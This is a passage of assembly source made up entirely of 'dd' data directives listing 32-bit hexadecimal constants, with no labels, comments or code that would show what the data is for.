0FA00DE70h, 7D12400Ch, 290E9E4Ch, 6098013Bh dd 9B7C543Ah, 0D146009Ch, 8085CA0Ch, 72006FAAh, 0A790E353h dd 30420ACh, 325D82EDh, 57F0B05Ah, 97009AE9h, 3C84EE33h dd 225F2Eh, 2B4DE61Dh, 0DC685DC1h, 4772509h, 0D6F4279Dh dd 6C167290h, 0CCDF26A5h, 9C9658h, 0B91C0DB0h, 448A91Dh dd 0B55B0000h, 857A0133h, 690E24EFh, 93EA8324h, 23889A8Ch dd 0AE006031h, 45B94666h, 26504C78h, 0D85503h, 90F29F1Eh dd 14148404h, 0A4F802h, 4427E458h, 1319A7A8h, 4089A253h dd 67182110h, 3000EE73h, 57B10E22h, 23FCA9Eh, 409BCDF5h dd 0B0505BD1h, 77ACD407h, 0A380791Bh, 1F98746Eh, 3FC28D9h dd 0BD3BA9E2h, 428B46A8h, 7A34FA00h, 3258A654h, 0E45C1FC0h dd 4A120291h, 78C42526h, 1B069D04h, 80650C99h, 355D8E2Ch dd 0B5479216h, 6A274000h, 0FC3BAA9Bh, 96D200F2h, 0C2F0888Bh dd 0CF586385h, 34986384h, 0C70C8972h, 31C2B450h, 6DAA2C7Fh dd 0F663C00Ch, 0D7F55BDh, 3F8C658h, 9139B26Ah, 7F0890E9h dd 0CF010462h, 801B3CCCh, 0AC6BE759h, 0F0B2A97Dh, 96161200h dd 8CBD525Ah, 6ACE04B6h, 0C00682D3h, 3C694E24h, 0B3A6DF00h dd 86FAA59Ah, 0A2B70108h, 0ABD6309Dh, 565F8E4h, 2E399700h dd 4A2189A7h, 889D0AA3h, 1DDCFA3Bh, 36C8C0E1h, 1D5444D9h dd 0DCF4F901h, 26AA17D3h, 9D80AC72h, 7DF02865h, 8BD6563Ah dd 0A9AFCAE6h, 132C80CCh, 0C30F9Dh, 4DC8CC26h, 0B7116E29h dd 0CF7053E8h, 5FCB0701h, 14662EDDh, 213C024h, 69FE2AADh dd 0B0C43153h, 88611000h, 6481CC77h, 3D209836h, 205C82F9h dd 9A16B200h, 0B02E3129h, 0B5005490h, 0EA0209C0h, 23DD0Ch dd 9C384812h, 0F85E411h, 5300E277h, 71C8505Bh, 0FDD4BAh dd 5CF3F8D7h, 9C95EA6Fh, 15D05E1Dh, 85C74Bh, 0D2E2D1D4h dd 0DF4200B1h, 1E36BF4Fh, 72071D4Eh, 30CEFF9Ch, 6990003Bh dd 38B2221h, 0B459144Ah, 70A0314Ch, 0DD006EBFh, 0A3080485h dd 0A8EB4E5Ah, 50164AA4h, 4963DCA7h, 9E181814h, 668FE905h dd 1D595107h, 0A1C0AF50h, 92F48118h, 5D7B30D4h, 0E13A3D28h dd 0FA46B502h, 606613C4h, 9D9C92h, 0D32651F9h, 0E1413E29h dd 3F9E4B07h, 19E032C2h, 8FB803h, 5A985851h, 42B2C33Bh dd 0ED28E90Fh, 5580FE21h, 0EFD56990h, 0CC90A6h, 0E77FBB06h dd 270D4377h, 8F019371h, 1F951825h, 0BEC02813h, 0F4B20063h dd 2C5BE951h, 370015C0h, 0EDE83CFFh, 3DF3AA8Eh, 4100D59Eh dd 8F73DCD2h, 22E8C780h, 7C0C24Dh, 32A8EDA3h, 0CC6880BBh dd 58693C34h, 0F101103Fh, 0C3EA914Eh, 66EBFCB8h, 2A22DB00h dd 0AF4C5C72h, 0BCAC0075h, 0BD38BE9Ch, 2801350Ch, 83123694h dd 3870083Dh, 0C9D8007Dh, 4CE4151Ch, 9A00B2B7h, 97AFBE50h dd 340B43Bh, 326A49F1h, 0B2B84FC1h, 0CA00564Bh, 0FB2CF9E3h dd 1D4E5722h, 0C0BF9BFFh, 5E55DE64h, 0F50E6712h, 60B0549Ch dd 61533DE1h, 59C0005Ah, 85C9FC5Bh, 4200CE34h, 1E939170h dd 1E1B687Fh, 80F1522Fh, 2CD1B8FBh, 9C00B6F2h, 0FD110AB9h dd 24808E74h, 0C57991h, 0F7932C97h, 0A600882Fh, 0D424CF70h dd 0B91913h, 57E44CBAh, 5DDFCACDh, 0CC0E6600h, 180A3D89h dd 0A4860EA2h, 0D9C17DD4h, 607448E6h, 0B30034FCh, 6A71097Bh dd 55CEDAFh, 50C660A3h, 0D23C8201h, 29ADC4E0h, 8F19500h dd 180BFCA4h, 1F31003Ch, 8CC7376Dh, 0C5070F04h, 8F70340Ah dd 0CC539B80h, 0CF5200C2h, 3A9247B4h, 4E0022E5h, 21D2B1ADh dd 3A360FAh, 0AEA7E3ECh, 490E73Ch, 0A92F66BAh, 0F8C56307h dd 93951Ch, 6E16BD59h, 0AE3E7EB2h, 751E101Dh, 1FA70880h dd 0ABFB32h, 0E84A5E39h, 0E4690FF4h, 0A0005298h, 0D5650D82h dd 0EECF3E01h, 0B92D009Eh, 6DE2FA7Fh, 7E009CA8h, 0BE086758h dd 49677E6h, 2880220Fh, 20B8A054h, 1D95D5A0h, 8F2D4E7h dd 7E777600h, 43E8077Ah, 0DDD700EAh, 0C8D062EFh, 0D2E0615Fh dd 0C5ED7101h, 367CC2F3h, 3A089060h, 0BD8C5628h, 3E886A51h dd 0AC01BC75h, 8D5E154Dh, 28289041h, 63666500h, 0E1A30671h dd 95D0760Eh, 0C9BDA219h, 0D9B0816Ch, 0DACC6D21h, 0DFF8006Fh dd 4E8E717Eh, 0B3002806h, 0E8E73D2Eh, 0B60E38A3h, 0F0808248h dd 51E09308h, 90001B1h, 0BC72DD95h, 0E24DDFh, 54ADFC2Eh dd 675D120Ah, 0F2A98F00h, 7B0C9D27h, 716C008Dh, 701A23Ch dd 0D0E4B0D5h, 0DEE42650h, 0A901A798h, 5147813Ah, 64F05CFFh dd 7E9855h, 60353FAAh, 0A11B8F03h, 1EB81400h, 0D84ADED1h dd 0B10B00B7h, 95E09272h, 3F2C99A2h, 521DD0B5h, 90F09C00h dd 5FD02Dh, 55E7D8E8h, 4A8EBDEFh, 8501A578h, 262DD9EEh dd 0E9D4B50Ah, 0D2F40030h, 0E515BD7Eh, 0B6A1ED92h, 802EC88Ch dd 0B70030E4h, 8ECFA00Fh, 1209A5h, 0CE2A51EAh, 3D0444B6h dd 0BB008170h, 1ED6E098h, 262E705Dh, 3D7164h, 0C5F5DA60h dd 0A8004286h, 8024D18Ah, 0BA44B9h, 4FAA6716h, 14DFE36h dd 72A5931Eh, 0DDC72D40h, 0EB7637h, 5EEE60B2h, 97D102E4h dd 666F839h, 8C1B265Ch, 9C91004Ah, 0C546ACBh, 0D5008D67h dd 52428188h, 0B6D161h, 0D333201Eh, 7B1A9728h, 0B54E3409h dd 1F1C0064h, 0B04C81EFh, 48F4E28h, 0C7BFD744h, 8906B00Ch dd 0AF00945Bh, 4B695957h, 90A7CC5h, 9F0AA6Fh, 299F4201h dd 0E812C06Ch, 93D9D705h, 0D093F4C9h, 0B621A06Fh, 0C1DB0088h dd 54BF3858h, 0A31CAEA8h, 135D9AD4h, 0F8F98B81h, 7CECF10Bh dd 82844CA0h, 0B7C84900h, 0E73E993Dh, 74CA87Ah, 9C682E79h dd 58946D00h, 0BCCE9611h, 256F8054h, 0EBF80ABCh, 557EE403h dd 0C50F702Ah, 7221008h, 6EE4EAD0h, 1788EC01h, 24687012h dd 35280878h, 5500180Ch, 0B6485CC9h, 0F09FEDDCh, 73D906ECh dd 20B57DCEh, 305AB132h, 1F7078EBh, 0D64CD2F7h, 0E9400C1h dd 3E2282EAh, 64DA920Ch, 0FD59D4h, 4BAD7006h, 577356C8h dd 0E5CB5300h, 8A527766h, 0B871A3h, 0BCD16F8Eh, 0F71B9F04h dd 561F0800h, 0F4EFCF3Dh, 0F5B903D4h, 845085C1h, 0FBF911C0h dd 13F1F601h, 8CC4EEBFh, 0D1FFF86Ch, 6FA0BF04h, 0F8014177h dd 0E2FD9FEFh, 0D4241F3Ah, 0E43F1781h, 5280D069h, 0BB6077F3h dd 0C20C1639h, 6CC40738h, 70B74ABAh, 0A2AFC9F0h, 0EDA97A18h dd 0A326E228h, 0CD78E138h, 20EF7992h, 0D89601C4h, 44F4209h dd 1F34C00Eh, 1E513CF3h, 0E639375Ch, 8E6BF900h, 0EE7250E9h dd 1BC52200h, 0E5D6CD1Eh, 0D54E3C4Bh, 3B733407h, 9FFCF16h dd 9450DCB4h, 3C2133Ch, 518783D7h, 0DB4DF8B1h, 857F0015h dd 0F36CB3C9h, 0D0F7E5A3h, 99DFB660h, 0E075DC03h, 361000EEh dd 0DE05BE7Eh, 11CB02Ch, 3040B5D6h, 6485DDE0h, 0A2B60C0Fh dd 8731C37Dh, 9D0E7BFAh, 8181BFE3h, 3822DDD2h, 81461FEh dd 0DCD0E983h, 790B6A0h, 19798123h, 0C0483B00h, 2E3E4F4Eh dd 0FCDE0131h, 7AB5A264h, 17DC4874h, 43DCE30Fh, 0F8E56012h dd 0E9EED270h, 8A05783Dh, 801ADCECh, 0BF1B7781h, 47AB8902h dd 5445EDE3h, 0D9C48174h, 0E493D66Eh, 9D50AFEEh, 0E4030C98h dd 65CD2B08h, 69F2C0D9h, 0A6C801CEh, 20B4D7FBh, 7C4180FFh dd 6CF8DD5Bh, 78150E30h, 9F419979h, 50A7E8FAh, 0AD9D0A4h dd 0A2622802h, 606DEAC7h, 45F50F6h, 0CDDAFC90h, 0C110909Ch dd 0E3143844h, 2A942022h dd 0B560980Ch, 354B4AB1h, 867458h, 89ED366Ch, 8481DEF8h dd 6B348D00h, 8B3B0EC4h, 0B6F73E0Dh, 7009560Eh, 6ECC1600h dd 0CE009D9Ch, 0F5D4B331h, 14F691B6h, 68F3DFF9h, 30805C3Bh dd 0B8B95583h, 18927EC5h, 2F211867h, 0C77030A7h, 7995FC32h dd 7BFA00E7h, 0EDA7E086h, 360068DFh, 15BA27D5h, 163B359h dd 0DB4C241Ah, 510922B4h, 570475FCh, 0AFE390D4h, 700AA93h dd 57C09CBDh, 2E88E78h, 0E1EA7D5Ah, 0C28491BFh, 0D84C89EEh dd 0A2002165h, 0AEA94468h, 24F8CCAFh, 6E64609Ah, 66780692h dd 749A08DCh, 0B2DF142Eh, 0D1D5040Ch, 0C7E903FDh, 5565361h dd 4CA02483h, 0F400B4E3h, 4A71EDB6h, 97FA6D3Ah, 0F24D6C02h dd 8AF5418h, 59B726DEh, 75401764h, 0CBE5AF7Ch, 0B9864300h dd 0E1316B55h, 2092456Eh, 0B422E030h, 98A14845h, 10A02714h dd 99037C00h, 4D9644Ch, 0FA2ACB0Ah, 0E1C0D8E5h, 0E4556930h dd 0C5486B1h, 87003DB4h, 49FEF229h, 19A81EEh, 0F5B32D79h dd 809406D6h, 0BD180A69h, 0EBD4A5h, 0CC6EA3A6h, 494F6D36h dd 9FE9E612h, 1A3141Fh, 55672FB3h, 273C48D9h, 803B21CFh dd 73FABE30h, 0E9650F6Eh, 78E08751h, 9C7B973Dh, 111528F6h dd 0A88C75h, 0D596BAD8h, 592E01h, 0F228D99Ch, 0E512799Dh dd 63178D02h, 44EEC47Ah, 0B6BC01ACh, 938F4E47h, 9403D429h dd 0E0507929h, 0C424B8A4h, 119E6F62h, 40C0870h, 8C2F3C3Bh dd 0F1C0CCB5h, 9C760500h, 98C86FD7h, 0AB2500C0h, 0F8145F8Fh dd 0B5151518h, 5860CB03h, 621D0079h, 4830D79Ah, 233B0C0Fh dd 7A88F701h, 0EF71216Fh, 0C4891806h, 24E739DBh, 5759CC00h dd 0C3939BAFh, 0A4D47448h, 4880ACACh, 962F67F9h, 90BEC501h dd 0B6B96B93h, 9EB5E0h, 3610539Bh, 9A33E39Ch, 0CF1E69C1h dd 9C502CEEh, 2BC0195h, 5E173297h, 5CC0C770h, 6E01884Fh dd 2DD2B263h, 0D9E46C37h, 4AA180F8h, 0AEA43628h, 0D806DB2Eh dd 0B36B4740h, 0CB70001Dh, 61346A05h, 29792BC8h, 0D10B99F0h dd 4ED939Ah, 0A540E324h, 65092876h, 4B271F00h, 828D7F77h dd 739A24C1h, 7BE500D8h, 9FB5F585h, 43A9F004h, 8829210h dd 50B0405Fh, 0EECC181Eh, 4226D1B4h, 0FE479B0Fh, 3D5C8048h dd 2822DB72h, 90B81E15h, 419A0908h, 0C829EB8h, 800969E0h dd 15CD3E98h, 90B49A24h, 3CE42434h, 0BF114C14h, 0E364831Dh dd 9B213122h, 30EDA221h, 0EE2CF87Dh, 74A684DCh, 0CF38307h dd 60CDA1ECh, 5DAF3195h, 4B070398h, 9449093Ah, 534C5140h dd 14F648FFh, 0E445793Ah, 0DB2E4F69h, 0A9034CBEh, 0F4D95F53h dd 79E1A100h, 990315DDh, 0ED7FEEFFh, 56A6F085h, 0B5732E4Ah dd 79B30944h, 0C5756810h, 0FF3FC0A8h, 3E89C71Fh, 30693CC1h dd 0B1CBAD37h, 346472CDh, 69F16E04h, 0CA583B00h, 0B400245Eh dd 8512E18Fh, 339BD0EBh, 0BF31F907h, 0E5DB2093h, 0B1892CF0h dd 0CE00A9EAh, 1687D7E3h, 0B072777Fh, 0E0A397FCh, 33E07315h dd 50719214h, 0AD044B1h, 0DB0686F8h, 0CE085058h, 1DE61D89h dd 573BC038h, 0B81B0C09h, 0A1815509h, 8148D94Ch, 26E1AF69h dd 882B185Fh, 0AF7791B0h, 1A463D1Ah, 8C747428h, 7DA1D704h dd 580C3B00h, 8898D934h, 3DDE05D8h, 40A67580h, 4E7750FCh dd 23005EE2h, 924005D9h, 78542718h, 0A151C0C1h, 0D1087966h dd 0B50A117Fh, 545639CAh, 4C626F09h, 3948654Ch, 8298004Bh dd 0EF9AA3A2h, 0D2F8BC50h, 797E220Fh, 0CFBC01Bh, 98993B98h dd 0BB4B096Ch, 0DC27C8F4h, 0EB388CDFh, 714D10EDh, 0AED61E93h dd 8DF05D5h, 5224036Eh, 0C0CC6699h, 38078364h, 18918C29h dd 58A56900h, 27212E67h, 0C880CDC5h, 7D61C17Bh, 97BD1900h dd 0B07AE239h, 0A2450093h, 0E97BE8B4h, 962E8678h, 0E17ACBCh dd 68003FE8h, 0DC36E1C0h, 0D4049E04h, 0FA2B700Ch, 28919083h dd 0C09227B8h, 7ABC94B8h, 9CA1E0D5h, 0A00710F0h, 0F98A24BBh dd 876C43D4h, 0BEE21000h, 0A981EF91h, 0AB7D0041h, 0ED1511FAh dd 340E5B57h, 0E3A57627h, 3ECB749Fh, 0F6011951h, 6BD40DEEh dd 0D0E0E687h, 0C0650671h, 0B0176DB8h, 0DCD24C30h, 42110866h dd 1A44F9B4h, 0DCDEB540h, 8D13C6B7h, 8C207454h, 389C4820h dd 7FBDC95Bh, 0AF2FB187h, 6A8B10BEh, 4D283A55h, 0E0FCD8A7h dd 80F0796Ch, 8AD717FFh, 8FFC09FCh, 79CA24A0h, 20D05532h dd 28D7044Ch, 28913D26h, 402D11F3h, 7D776D06h, 9D0518F4h dd 5D474C53h, 0FC73F802h, 815051C4h, 22D93842h, 88D01810h dd 35094960h, 937418D8h, 73248838h, 1DA80731h, 812F50E3h dd 3018C3B8h, 697881E4h, 4ED7A8C0h, 60EC576Ch, 788799B3h dd 4939207Dh, 0E75B807Ch, 0AE117FE2h, 79F7EC4Bh, 0A85A6269h dd 1E40A367h, 0D4BAF0C1h, 81ED4E21h, 26DFAF83h, 402C3F8Fh dd 0BF4B00AAh, 61793023h, 0ECA45CAEh, 4189F21Fh, 0F6825064h dd 6045A8F3h, 966EA0h, 0E10363F8h, 0A20ACC5Ah, 33C6C000h dd 181A5882h, 6CDB031Bh, 93D85297h, 0E96032EAh, 9000E601h dd 57184572h, 874384h, 0AD736FFAh, 0B0176B1Eh, 71D9500h dd 131FBAC1h, 0A570009Dh, 0B19B080Fh, 0F7003754h, 0AC8FCEF1h dd 5C8612h, 41746002h, 420D2C73h, 28361E00h, 308A954Ch dd 6BA10044h, 8B2761A8h, 4A07CE58h, 5C1B452Eh, 8922EE70h dd 2A74E6h, 1A83D904h, 323AA598h, 8CEBBD07h, 9EDFE7BEh dd 9CD8AC40h, 8ADCABh, 0B67F3C80h, 2FF8EBD0h, 85784AF8h dd 0F9785F7Ch, 0C3E8081Ch, 0FE128F80h, 745AA5D9h, 38A901ABh dd 3A8E910Dh, 8B9CF003h, 502F3030h, 0F884C12Bh, 266F01FEh dd 0A53165F2h, 53E6C88Ch, 6EC7803h, 16B7CB6h, 33771318h dd 0F3F83C90h, 32C0BDAAh, 0A4F03A5Fh, 591A2618h, 0ACCA28h dd 483BA999h, 5EB6D607h, 0B9C718C3h, 0A0D868D7h, 85B6004h dd 7207A44Ah, 0B68B3FC1h, 97061A33h, 0B0FAFCC0h, 0A64E3127h dd 0F440B548h, 5B14BB0Ah, 0C8C8B4Dh, 30167046h, 39E7F80Eh dd 0B580B882h, 0C2E0A247h, 67EE8323h, 32ADDE02h, 812672F8h dd 0CAAFBD28h, 0C0D91994h, 8B99FD30h, 3E612A15h, 7604B2A9h dd 0F8B16058h, 9B701C6h, 27AF06FCh, 13598266h, 8AC4B67h dd 6F2E0090h, 8EE98363h, 0B2B9620Ah, 2B024877h, 91813AA7h dd 8458267Ch, 793B6F4Ch, 5A461DDFh, 84041817h, 0BB620F4h dd 208923Dh, 27B138E6h, 4884A518h, 3008683Ah, 0B94958BBh dd 0EF61FE74h, 0DCAD3939h, 0E056F443h, 3003AFB8h, 8813514h dd 31195215h, 8C31F1B6h, 36384C4h, 809269B2h, 59392DC3h dd 1F1C50F9h, 0D8CBBB01h, 994FB2C2h, 54729981h, 80E5873Ah dd 3E649A11h, 1D27318Ch, 0AA880665h, 143BE2BCh, 0F42F6B05h dd 0FDC0D800h, 0E99C102Bh, 800C99F0h, 116E7739h, 85330BB8h dd 8D0065FFh, 0E825EB81h, 41347751h, 10A52330h, 64D74B2h dd 0DE82C3B3h, 78C719EBh, 774244A9h, 1800482Eh, 57CC1B2Bh dd 8BA39910h, 9342A10Fh, 0A99B64CAh, 0C308BC80h, 84175032h dd 0A4233A79h, 3DF4813Fh, 287C0B5h, 31747E42h, 9560723Ah dd 0F1405861h, 0F8B45196h, 5403368h, 35E99BB8h, 206ED624h dd 0ABAC380h, 49E7F41Ah, 50CC87Eh, 2217D88h, 101454ABh dd 22BC7B53h, 6386138Dh, 0B550062Fh, 1A184082h, 0C5309CBEh dd 4A2724AEh, 77BF8180h, 113D8266h, 0C409FACh, 883A607Eh dd 30849EA7h, 0D230806Eh, 56035B85h, 82541C1Dh, 0C4E0D729h dd 0B1D776h, 778394E7h dd 24E61945h, 0D4B4C503h, 0A0BD74FBh, 0C1FD41h, 0CD27E573h dd 9AC93DC2h, 9CB5DE02h, 41E7A51Ah, 0F18F791Ch, 9A09F7A3h dd 4B8E810h, 80652B15h, 0A522E8h, 4A7F4F17h, 3E830EBBh dd 0B4212624h, 72391D3Bh, 5F8FA466h, 908009A3h, 48445874h dd 5401CAE0h, 0A10DC04h, 0C5508125h, 0AE285CA4h, 481AAC30h dd 8F0E4492h, 87E0FB5Ah, 0B02026B3h, 4E381E03h, 0CBCB8369h dd 0F959001Ch, 0B0107ABFh, 0F11C5EA0h, 30BAD758h, 97AC21A1h dd 93B2007Ah, 5776ED2Bh, 2C22E442h, 99480315h, 0AB09FCEFh dd 7D015405h, 0C800D643h, 0A52E34A0h, 5CFE13F0h, 5A3C212Bh dd 0BCBEC80Ah, 978D9E03h, 0A38A3767h, 0FB210020h, 346B5B47h dd 0E2B8D286h, 9489FA07h, 0A9410EC6h, 0A0D6473Ah, 0E063D9ACh dd 0A5E01C3h, 20852F2h, 780898FAh, 0C9E671h, 169C13B9h dd 0EC3DDF83h, 43409202h, 408F27F8h, 0B01C1439h, 68057764h dd 7AC59A6h, 0A486A3E9h, 0D0D4D794h, 0F64F69E8h, 18337200h dd 8D79A525h, 0C7C80138h, 2B178BC2h, 0BEC98F3Dh, 0A7A94FC1h dd 57B7B146h, 3003AF05h, 2402BC8Ch, 82CD559h, 1C3CCEEDh dd 0C3063027h, 9808D0h, 0CB7A7DFEh, 0A3437209h, 2CED912Ch dd 0D177B684h, 0E00E2083h, 0A62714h, 0BCCCB53Ch, 7E3E848Fh dd 2303449h, 0B1C907AEh, 0F4209C6Fh, 7E028C4Eh, 4AD789E2h dd 0EBC8253h, 0C4C31911h, 0FA460A5Fh, 0F7FE7F22h, 0FF30B907h dd 0A680E8B8h, 385CD5F3h, 65018C94h, 0AEC2B333h, 144AE6FFh dd 0FC6F1061h, 8CA8F6BDh, 0D22C4698h, 1A0748BBh, 0C530058Dh dd 0B8EE8529h, 0F4BC135Ch, 9A740843h, 8C24F4B9h, 0BE607025h dd 46B0D57Ah, 0A022A8h, 3E7A95EFh, 68992190h, 0BA8C1B0Ch dd 632B81FFh, 1A93292Fh, 0FA161DB8h, 0B8116D30h, 801B3F21h dd 5B522575h, 0C87850FCh, 0D6392C43h, 3EBCBA04h, 200B328Ah dd 0E55A0CA7h, 339E461Eh, 0A9148412h, 8C54E874h, 5E1EDCA0h dd 74233E05h, 0EC0E67F9h, 0AC119312h, 28220168h, 0B60CD24Eh dd 0D8200FEDh, 0A0D54CE3h, 47EF4609h, 0CD818000h, 0BE0C331Ch dd 0B11A2708h, 68ED0367h, 0A535FFD1h, 1C8420D5h, 5B21CC81h dd 2B8E88E7h, 0BC271067h, 5626E14h, 5A0D0120h, 0B0F10029h dd 0EBC8066Bh, 0CC632A70h, 0D93BE321h, 0D3F8518Eh, 349D0F5Fh dd 0E84FF3E5h, 0BD409ECEh, 19E66E50h, 0C8467498h, 317ABA07h dd 315BB4B1h, 0AB0084CEh, 12017AB2h, 79693019h, 3075831Eh dd 3048C402h, 5D10B91Dh, 0E5E0EA0Ah, 2B00C48Eh, 59383EE0h dd 265D4C29h, 3CD08BADh, 0F83FBA00h, 0FBA003B9h, 4614DD00h dd 325D117Eh, 0A2A12EF5h, 106C29A4h, 0DC2ED245h, 8038A223h dd 1FB0A754h, 225665A8h, 0BEFC9B26h, 0FBF80E00h, 9829E0C2h dd 434C007Eh, 0FF76A3E5h, 0DF142FCCh, 0D2F0A4A5h, 0CC23E43Ah dd 48B4DA02h, 9DA0923Eh, 807B116Ch, 863A6581h, 97022445h dd 0E08E09C0h, 0BE8C9401h, 7ED824F9h, 0FE40711Dh, 10C9FA03h dd 5093A2AFh, 250E1254h, 0A2700027h, 15C85270h, 926B291Dh dd 682F0480h, 3FABD76h, 49F85781h, 0EBC0BB4Bh, 0A804E8CAh dd 69F5B7AEh, 7F1354C0h, 587760F7h, 2BBE4C92h, 0DC103600h dd 2E08178Ah, 545C4C8Bh, 1A3E71Eh, 0B9469D66h, 0DAF86049h dd 4EB3444h, 21DFB10Bh, 22FCD093h, 0CA0EB3A0h, 0D5B1781h dd 6860D8F2h, 74B972h, 36742DFEh, 8901E9A5h, 0AFBABB64h dd 2093729Eh, 0EE805D9h, 4E203C4Ah, 0BDECE021h, 0EF702C01h dd 368EE7EBh, 1177E0A0h, 2FB330C4h, 0AFAE80F1h, 1A0CAC15h dd 0C5BCF8h, 0D0CA99B8h, 283CC309h, 8B0A84B0h, 0D85533AEh dd 110D5831h, 0B908C60Ch, 0C4020BB8h, 8FE4407Eh, 0E0564C4h dd 0BB311DA5h, 6CB29340h, 83E8825Ch, 5EF83D02h, 81FD4A26h dd 0D9979AC8h, 507CF82Ch, 4AC6107Fh, 20A45A64h, 0B808CB7h dd 0B6D85562h, 50636CB0h, 2C43C948h, 0BB04D539h, 328A36BCh dd 0EFA20CEh, 0B206525Ah, 0B6D6D8B3h, 50C49099h, 14B590CAh dd 98095A26h, 82CC40h, 0BBF5DFFBh, 403A4847h, 0E800F475h dd 0CDC44CC6h, 3FA341Bh, 0A43B4F76h, 0B4C83118h, 8D0F9FC1h dd 0C08B2AE6h, 30955BD6h, 0B5CB004Fh, 7747509Ah, 3E0F5857h dd 60936C25h, 5F2AF8B1h, 0ACF90009h, 58D378D9h, 0C3004D42h dd 9FBBCD12h, 7F8046h, 0A64C1963h, 0D5AF1D88h, 0DA7E3C00h dd 969AC450h, 0DFFD02CBh, 1210A6F3h, 193F81E0h, 7C37F803h dd 0C029F6ACh, 9E7CAh, 20245DAEh, 2D991078h, 91238600h dd 1B2E174Ch, 0A9D10037h, 208C69EBh, 5548A881h, 78261FC2h dd 0F498E40h, 51EDD077h, 0F6E8D95Bh, 0E6690C80h, 5A588981h dd 0B4B0421Bh, 6C3BD830h, 25853072h, 5AF9EF11h, 947181C0h dd 51F1D9h, 73D7C990h, 5E6C3C83h, 7FCFA114h, 1B4A0014h dd 6D04640Bh, 0FFAC0070h, 7AE0D349h, 12603394h, 0F2F82058h dd 85A0002Bh, 0DA6E987Dh, 5F00FF7Bh, 2A405012h, 74D535C3h dd 99E10026h, 9AD80AEDh, 0AA0089CFh, 9286323Bh, 7AC3F41h dd 0BD4483E4h, 66A64053h, 9F0090A5h, 1AB07160h, 1F21AF37h dd 9F52DD2Bh, 24BA0E1Fh, 5348783h, 77D3B7C0h, 3F258B14h dd 0BA571DA0h, 621D403h, 6728C023h, 0BDCF00A2h, 7BC2461Eh dd 5A013C65h, 80FC3059h, 30805B0Bh, 7C1229B3h, 973BD28Ch dd 755F001Dh, 6047DEF7h, 0A16A0AA7h, 80301BAAh, 0CE77C51h dd 0B10074A3h, 0FA1E9E61h, 1762FE4h, 7C01D323h, 0C85FA072h dd 483A114Ch, 0AD1E1FD4h, 78F7B300h, 0D1F33Dh, 2066FF74h dd 7D013992h, 16B76B07h, 3E70A31Eh, 32F0565h, 368A26E4h dd 59E0153Fh, 0E60377D4h, 0AD21D3AAh, 0E3B0B07Dh, 2D8A011Ch dd 8C081A2Ah, 9DD6408Fh, 92EA9EF1h, 0DDD41F00h, 5DB84D2Ch dd 4088DE1Dh, 7042774Ah, 0C3398CD7h, 3C2006D2h, 3287673h dd 0CBCE52C5h, 0C4E0BEABh, 0AE05636Bh, 0B4A4247Ch, 64C0841Eh dd 37111D3Ch, 0F4EF7B06h, 0BC9C01DBh, 0BD0E2E4Ah, 691DF81Ch dd 547FD900h, 0CAB6F87Ah, 30FF740Ah, 1320BA4Bh, 0A100D89Ch dd 802DE9B1h, 783E624Ch, 9BFC0099h, 700DA5F9h, 770053D4h dd 5FD2E5CBh, 73521971h, 3D1100F3h, 0CA7FFCBAh, 6C035369h dd 779A5FEAh, 130DA1A8h, 0CA27DF00h, 38394A00h, 92DD18E2h dd 0F94000Ah, 1D613D36h, 0B0C04405h, 0C853E6Fh, 38DE12h dd 650178F1h, 0BF076C0Dh, 0AA4A9619h, 7F3EA543h, 0FBCF0320h dd 0BB1E2AEEh, 7F79D03Fh, 9AC36900h, 58E708D3h, 982E00E4h dd 3E7B17BEh, 0F702B0A3h, 11FA87C2h, 3D84A03Fh, 31D9A74h dd 49C5F4DAh, 5A87927Ch, 854B11A8h, 0A3C1D954h, 0A84CEF62h dd 8681C022h, 94E7D86Bh, 7C705300h, 25F14613h, 8B5000D7h dd 185F10BDh, 8C2AAD42h, 0E9F6D819h, 708D7E30h, 3DF1FBD1h dd 0C7840806h, 80941554h, 3F090287h, 0EB9CFE00h, 28446168h dd 45470319h, 0C8678B08h, 0B4B3FCD8h, 0D87FD600h, 5C0D4CB5h dd 60F03044h, 30500831h, 9DC39405h, 0D4ACE9B3h, 1E2D1201h dd 0E49E8AFCh, 0C73F9A6Dh, 97081D5Dh, 46514400h, 0CD833h dd 5F5C9FCh, 0F42F58C2h, 81D1600h, 379B7AA7h, 312A18D4h dd 0CAA51830h, 47022B16h, 0F56EDF07h, 54D181Ch, 0ED446A19h dd 9E30007Ah, 518E862Fh, 0B088EE00h, 38336BEBh, 53165877h dd 53282E33h, 42DB72F0h, 237FA105h, 0C6812839h, 2B70DD75h dd 0B5C009Fh, 7F228A93h, 6600013Ah, 0E95780EBh, 10EC5Fh dd 60EF0DB7h, 2649B5DBh dd 6A73A301h, 6B44E953h, 21A10898h, 26769C95h, 80E11A3Ch dd 468A6CAAh, 75A1258h, 0AFD5DB5Fh, 0E2C210D8h, 80000A05h dd 0D496861Ch, 1D8960EEh, 0FB3014h, 43405D71h, 0ED00C01Eh dd 35FA7E0Bh, 7155687h, 39AB013Eh, 385DC660h, 488E58C1h dd 32F47DC1h, 0A2A81928h, 805B086Ah, 0C00F2E79h, 788C9E70h dd 7A38C3D4h, 0EFF0BBFFh, 0EA004724h, 5FF24B52h, 0C03C31E9h dd 0E8A27558h, 700022F9h, 0A9EECA64h, 45D7C54Eh, 625BE454h dd 388D3631h, 9180342Ch, 33DA3F3h, 0B4001FFFh, 418DFC67h dd 0FE3D942h, 9954D5F2h, 6CCC87CFh, 15EEC049h, 0B0EC6100h dd 40E02B09h, 6E22E808h, 0B18020DCh, 0EB0AA316h, 0C0FD3250h dd 80B42D3Eh, 66F1BFF5h, 0FE3D5DDh, 0ECA167D8h, 0B760C40Eh dd 0A25703F9h, 0BA338300h, 0DC4F0C04h, 27453E73h, 2D704D80h dd 0FA0563B7h, 0A714C203h, 8F593E7Eh, 0AB996600h, 75BC0027h dd 5A2F2436h, 467A7D71h, 4BC65D00h, 91C745ADh, 9C220058h dd 93D24909h, 0FE007E9Dh, 26516B97h, 0C3D0CB90h, 5BBB4FC6h dd 94773AD8h, 80A59B3Dh, 0B8CC892Eh, 0A8D269h, 0F62F2BC6h dd 481385DFh, 70A6C53Ch, 41014479h, 0F7822C23h, 31704DE6h dd 0E30A00ADh, 18BB1984h, 0BC004290h, 5ACC3972h, 0A003B6h dd 0F86C5238h, 43321ABEh, 247A2F00h, 30115040h, 257D0035h dd 0A25947E8h, 5E748F0Fh, 2042C330h, 7CF453h, 7FC2DEEEh dd 7CF84E9h, 2735200h, 57916E40h, 10C807BDh, 40BB5043h dd 465B33C5h, 7279CE1Ch, 389849B6h, 1B18124Ah, 0B3F0A9C0h dd 3D8B2201h, 334E99E7h, 20B809B6h, 79004BE4h, 837781BCh dd 132C5F1h, 57113501h, 